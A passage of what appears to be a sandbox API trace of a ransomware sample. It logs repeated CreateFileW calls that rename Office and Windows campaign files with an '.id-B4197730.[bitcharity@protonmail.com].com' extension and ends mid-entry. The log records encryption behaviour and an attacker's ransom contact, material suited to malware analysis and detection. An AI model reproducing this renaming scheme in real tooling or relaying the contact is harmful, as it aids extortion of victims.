SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.087] CloseHandle (hObject=0x10bc) returned 1 [0275.088] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.088] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.088] CloseHandle (hObject=0x10bc) returned 1 [0275.088] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.089] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\db2v0801.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\db2v0801.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.089] CloseHandle (hObject=0x10bc) returned 1 [0275.090] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.090] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.090] CloseHandle (hObject=0x10bc) returned 1 [0275.092] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.092] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Informix.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\informix.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.092] CloseHandle (hObject=0x10bc) returned 1 [0275.093] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.093] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\msjet.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\msjet.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.093] CloseHandle (hObject=0x10bc) returned 1 [0275.096] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.096] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\orcl7.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\orcl7.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.096] CloseHandle (hObject=0x10bc) returned 1 [0275.097] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.097] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql2000.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql2000.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.097] CloseHandle (hObject=0x10bc) returned 1 [0275.098] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.098] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql70.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql70.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.098] CloseHandle (hObject=0x10bc) returned 1 [0275.099] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.099] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sql90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sql90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.099] CloseHandle (hObject=0x10bc) returned 1 [0275.100] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.100] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\sqlpdw.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sqlpdw.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.100] CloseHandle (hObject=0x10bc) returned 1 [0275.105] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.105] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\Sybase.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\sybase.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.236] CloseHandle (hObject=0x10bc) returned 1 [0275.936] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.936] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\ExcelMessageDismissal.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\excelmessagedismissal.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.174] CloseHandle (hObject=0x118c) returned 1 [0276.175] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.176] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.176] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.176] CloseHandle (hObject=0x118c) returned 1 [0276.177] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.177] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.177] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.177] CloseHandle (hObject=0x118c) returned 1 [0276.178] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.178] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.178] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.178] CloseHandle (hObject=0x118c) returned 1 [0276.181] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.181] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.181] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.181] CloseHandle (hObject=0x118c) returned 1 [0276.182] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.182] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.182] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.183] CloseHandle (hObject=0x118c) returned 1 [0276.183] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.183] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.184] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.184] CloseHandle (hObject=0x118c) returned 1 [0276.184] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.185] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.185] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.185] CloseHandle (hObject=0x118c) returned 1 [0276.188] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.188] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.188] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.195] CloseHandle (hObject=0x118c) returned 1 [0276.196] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.196] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.196] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.196] CloseHandle (hObject=0x118c) returned 1 [0276.196] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.197] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.197] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.197] CloseHandle (hObject=0x118c) returned 1 [0276.198] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.198] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.198] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.198] CloseHandle (hObject=0x118c) returned 1 [0276.202] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.202] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.202] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.202] CloseHandle (hObject=0x118c) returned 1 [0276.203] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.203] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.203] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.203] CloseHandle (hObject=0x118c) returned 1 [0276.204] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.204] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.204] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.204] CloseHandle (hObject=0x118c) returned 1 [0277.543] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.543] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.543] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.544] CloseHandle (hObject=0x11c0) returned 1 [0277.545] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.545] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.545] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 